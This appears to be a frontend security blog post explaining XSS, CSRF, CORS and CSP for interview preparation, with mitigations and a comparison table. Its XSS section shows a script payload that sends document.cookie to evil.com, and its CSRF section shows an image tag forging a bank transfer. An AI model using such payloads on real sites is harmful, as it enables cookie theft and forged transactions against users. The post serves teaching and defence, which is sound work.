Web Security: CSRF, CORS, CSP, and XSS
Tony Jiang · · 7 min read · permalink
These four acronyms come up constantly in frontend interviews, and they’re often explained in isolation — which makes them harder to remember and easier to confuse. They’re not the same kind of thing. Understanding what category each one belongs to is the first step.
- XSS — an attack vector. Someone injects malicious code into your page.
- CSRF — an attack vector. Someone tricks a user into making an unintended request.
- CORS — a browser mechanism. Controls which origins can make cross-origin requests.
- CSP — a browser mechanism. Controls which resources a page is allowed to load.
CORS and CSP are defenses. XSS and CSRF are the things you’re defending against. That distinction matters.
XSS — Cross-Site Scripting
The mental model
An attacker gets their JavaScript to run on your page. Once that happens, they have the same access your code has — cookies, localStorage, the DOM, the ability to make requests as the user.
How it happens
You take user input and render it as HTML without sanitizing it first:
// Dangerous
document.innerHTML = userInput;
// Also dangerous
element.innerHTML = `<p>Welcome, ${username}</p>`;
If username is <script>fetch('https://evil.com?c='+document.cookie)</script>, you’ve just exfiltrated the user’s cookies.
There are two main types:
- Stored XSS — the malicious input is saved to the database and served to other users. A comment field that renders HTML is the classic example.
- Reflected XSS — the payload is in the URL and reflected back in the response. Less common now but still relevant.
What frontend devs actually do about it
- Never use
innerHTMLwith user-supplied data. UsetextContentinstead. - If you must render HTML, use a sanitization library like DOMPurify.
- React, Vue, and most modern frameworks escape output by default — but
dangerouslySetInnerHTMLin React bypasses this entirely. Treat it as a red flag. - HttpOnly cookies can’t be read by JavaScript, which limits what a successful XSS attack can steal.
The interview gotcha
Interviewers sometimes conflate XSS with CSRF. They’re different attacks with different mitigations. XSS is about injecting code; CSRF is about forging requests. An XSS attack can bypass CSRF protections, which is why XSS prevention is so important.
CSRF — Cross-Site Request Forgery
The mental model
The user is logged into your bank. They visit a malicious site. That site makes a request to your bank’s API — and the browser automatically sends the user’s cookies with it. The bank can’t tell the difference between a legitimate request and a forged one.
CSRF exploits the fact that browsers attach cookies to requests regardless of where the request originated.
How it happens
<!-- On evil.com -->
<img src="https://bank.com/transfer?to=attacker&amount=1000">
The browser loads that “image,” sends the authenticated request, and the transfer goes through.
What frontend devs actually do about it
- SameSite cookies — the modern default. Setting
SameSite=StrictorSameSite=Laxtells the browser not to send cookies on cross-origin requests. This largely solves CSRF without any application-level token logic. - CSRF tokens — the older approach. The server issues a unique token per session, the client includes it in state-changing requests, and the server validates it. An attacker on another origin can’t read this token due to the same-origin policy.
- For SPAs making API calls with
Authorizationheaders (not cookies), CSRF is mostly a non-issue — custom headers can’t be sent cross-origin without CORS permission.
The interview gotcha
CSRF is often misunderstood as “cross-site anything.” It’s specifically about forged requests that carry the victim’s credentials. If your API uses tokens in headers rather than cookies, CSRF doesn’t apply in the traditional sense. The interview question “how do you prevent CSRF?” has a different answer depending on your auth mechanism.
CORS — Cross-Origin Resource Sharing
The mental model
The same-origin policy is a browser rule: a page at app.com can’t make requests to api.otherdomain.com by default. CORS is the mechanism that lets servers opt in to allowing cross-origin requests.
CORS is not a security feature — it’s a relaxation of security. The same-origin policy is the security feature.
How it works
When your frontend at app.com makes a request to api.com, the browser checks the response headers:
Access-Control-Allow-Origin: https://app.com
If the origin matches, the browser allows the response through. If not, it blocks it — even if the server processed the request.
For requests that modify state (POST, PUT, DELETE) or send custom headers, the browser first sends a preflight request (OPTIONS) to ask permission:
Access-Control-Allow-Origin: https://app.com
Access-Control-Allow-Methods: POST, PUT
Access-Control-Allow-Headers: Content-Type, Authorization
What frontend devs actually do about it
- CORS errors are a browser enforcement, not a server error. The request often did reach the server.
Access-Control-Allow-Origin: *allows any origin — fine for public APIs, not for anything authenticated.- You can’t fix CORS from the frontend. The server has to set the right headers.
- In development, proxying requests through your dev server (Vite’s
proxyconfig, for example) sidesteps CORS because the request appears same-origin.
The interview gotcha
“CORS is a security feature” is a common misconception. It’s a controlled relaxation. The actual security comes from the same-origin policy that CORS loosens. Also: CORS doesn’t prevent CSRF. A CORS-protected endpoint still accepts cookies from the browser on same-origin requests.
CSP — Content Security Policy
The mental model
CSP is a browser mechanism where you tell the browser exactly what it’s allowed to load and execute. It’s a second line of defense against XSS — even if an attacker injects a script tag, CSP can prevent it from executing.
How it works
You send a Content-Security-Policy header (or use a <meta> tag) with directives:
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; img-src *;
This says: scripts can only come from this origin or the specified CDN. Images can come from anywhere. Everything else defaults to same-origin only.
A strict policy would block inline scripts entirely:
Content-Security-Policy: script-src 'self'
This means <script>alert('xss')</script> injected by an attacker simply won’t run.
What frontend devs actually do about it
- CSP is often misconfigured.
unsafe-inlineandunsafe-evalare common escapes that negate most of the protection. - Nonces and hashes are the right way to allow specific inline scripts without using
unsafe-inline. - Start with a report-only policy (
Content-Security-Policy-Report-Only) to find violations before enforcing them. - CSP violations can be reported to an endpoint with
report-uriorreport-to— useful for catching attacks in production.
The interview gotcha
CSP doesn’t prevent XSS — it limits what a successful XSS attack can do. The attacker might still inject a script tag, but CSP can stop it from loading external resources or executing inline. The two layers together (input sanitization + CSP) are more effective than either alone.
How they relate
| Prevents | Mechanism | |
|---|---|---|
| XSS | Code injection | Input sanitization, framework escaping, HttpOnly cookies |
| CSRF | Forged requests | SameSite cookies, CSRF tokens |
| CORS | Unauthorized cross-origin reads | Server-set response headers |
| CSP | Unauthorized resource loading | Browser policy enforcement |
The interaction that matters most: XSS can defeat CSRF protection. If an attacker can run JavaScript on your page, they can read your CSRF token and include it in a forged request. This is why XSS prevention is the foundation — the other defenses assume your page hasn’t been compromised.
What actually comes up in interviews
The questions are usually surface-level (“what is CSRF?”), but the follow-ups reveal depth:
- “SameSite=Lax vs Strict — when would you use each?” Lax allows cookies on top-level navigations (clicking a link), Strict doesn’t. Strict breaks OAuth flows and “open in new tab” patterns.
- “Can CORS prevent CSRF?” No. CORS controls what the browser will read from cross-origin responses. Cookies are still sent on requests unless SameSite prevents it.
- “When would you use a nonce in CSP?” When you need to allow a specific inline script without opening up
unsafe-inlinefor everything. - “What’s the difference between stored and reflected XSS?” Stored persists in the database and affects all users who view that content. Reflected is in the request and affects only the user who clicks the malicious link.
Understanding the relationships between these mechanisms — not just what each one does in isolation — is what separates a considered answer from a memorized one.